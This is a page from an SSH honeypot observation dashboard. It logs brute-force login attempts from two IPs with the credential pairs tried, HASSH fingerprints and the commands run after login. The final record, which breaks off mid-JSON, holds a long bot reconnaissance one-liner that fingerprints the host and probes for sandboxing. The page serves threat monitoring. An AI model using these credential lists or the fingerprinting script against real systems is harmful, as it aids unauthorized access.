nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 2372 / 13212 (660560 total records)
Passive Observation Node - Active Operational Overview
109.160.32.77
2026-09-24 02:41:06.371462 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webuser

Record ID: cd45e25604cf
Client Version: SSH-2.0-Go
Engagement Duration: 2.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "cd45e25604cf",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:41:06.371462Z",
  "end_time": "2026-09-24T02:41:08.639769Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "webuser",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:41:01.318076 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ops

Record ID: d062b71adc68
Client Version: SSH-2.0-Go
Engagement Duration: 1.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "d062b71adc68",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:41:01.318076Z",
  "end_time": "2026-09-24T02:41:03.214661Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ops",
      "pass": "ops1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:56.708477 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alex

Record ID: a02b7ce1bd9a
Client Version: SSH-2.0-Go
Engagement Duration: 2.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "a02b7ce1bd9a",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:56.708477Z",
  "end_time": "2026-09-24T02:40:59.543839Z",
  "duration": "2.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "alex",
      "pass": "alex"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:51.707837 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 0

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 441b3535dcd3
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "441b3535dcd3",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:51.707837Z",
  "end_time": "2026-09-24T02:40:53.259151Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "0"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:46.857740 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: fastuser

Record ID: 53d72317afb8
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "53d72317afb8",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:46.857740Z",
  "end_time": "2026-09-24T02:40:48.655589Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "fastuser",
      "pass": "123456789"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:42.003438 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / deploy@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: c441b6d130ac
Client Version: SSH-2.0-Go
Engagement Duration: 1.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "c441b6d130ac",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:42.003438Z",
  "end_time": "2026-09-24T02:40:43.338539Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "deploy@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:37.261600 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: f805de08a4f6
Client Version: SSH-2.0-Go
Engagement Duration: 2.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "f805de08a4f6",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:37.261600Z",
  "end_time": "2026-09-24T02:40:39.572105Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user1",
      "pass": "user123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:32.517090 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1112

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 7d6f2e7a0961
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "7d6f2e7a0961",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:32.517090Z",
  "end_time": "2026-09-24T02:40:33.719256Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1112"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:27.550991 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / P@ssw0rd!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 6b9069e90757
Client Version: SSH-2.0-Go
Engagement Duration: 1.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "6b9069e90757",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:27.550991Z",
  "end_time": "2026-09-24T02:40:29.174968Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssw0rd!"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:22.736123 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 12345

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: cbb9a5ff999b
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "cbb9a5ff999b",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:22.736123Z",
  "end_time": "2026-09-24T02:40:23.942729Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "12345"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:17.629561 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1234

Record ID: 9f05e1910eb3
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "9f05e1910eb3",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:17.629561Z",
  "end_time": "2026-09-24T02:40:19.757270Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin1234",
      "pass": "admin1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:12.727432 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webmaster

Record ID: 7a88e0170c98
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "7a88e0170c98",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:12.727432Z",
  "end_time": "2026-09-24T02:40:14.523624Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "webmaster",
      "pass": "webmaster"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:07.636644 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aiuser

Record ID: 72e069fdc789
Client Version: SSH-2.0-Go
Engagement Duration: 1.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "72e069fdc789",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:07.636644Z",
  "end_time": "2026-09-24T02:40:09.459197Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "aiuser",
      "pass": "aiuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:40:02.365349 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / start

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 232c0c6d982b
Client Version: SSH-2.0-Go
Engagement Duration: 1.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "232c0c6d982b",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:40:02.365349Z",
  "end_time": "2026-09-24T02:40:03.994539Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "start"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:57.631700 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 1234qwerty

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 5e1aabde5eb9
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "5e1aabde5eb9",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:57.631700Z",
  "end_time": "2026-09-24T02:39:59.154567Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1234qwerty"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:52.610168 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 0104

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 1e855938deab
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1e855938deab",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:52.610168Z",
  "end_time": "2026-09-24T02:39:54.105542Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "0104"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:47.970322 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / admin1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 5430a2ea3abb
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "5430a2ea3abb",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:47.970322Z",
  "end_time": "2026-09-24T02:39:49.201907Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.77
2026-09-24 02:39:43.156547 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / rootroot

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 1bcdfc1a0850
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1bcdfc1a0850",
  "src_ip": "109.160.32.77",
  "start_time": "2026-09-24T02:39:43.156547Z",
  "end_time": "2026-09-24T02:39:44.671812Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "rootroot"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
193.32.162.84
2026-09-24 02:39:38.781100 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 200

Credential acceptance event recorded. Target authentication: root / password1

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
[obs-node]:~$ uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null
Command not found: /usr/bin/uname -s -v -n -m
[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ ( [ -f /proc/version ]
[obs-node]:~$ [ -f /proc/version ]
[obs-node]:~$ head -1 /proc/version | cut -d -f1
[obs-node]:~$ [ -f /etc/os-release ]
Record ID: 0c4a4cf57a1c
Client Version: SSH-2.0-Go
Engagement Duration: 5.7s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "0c4a4cf57a1c",
  "src_ip": "193.32.162.84",
  "start_time": "2026-09-24T02:39:38.781100Z",
  "end_time": "2026-09-24T02:39:44.517720Z",
  "duration": "5.7",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "password1"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; 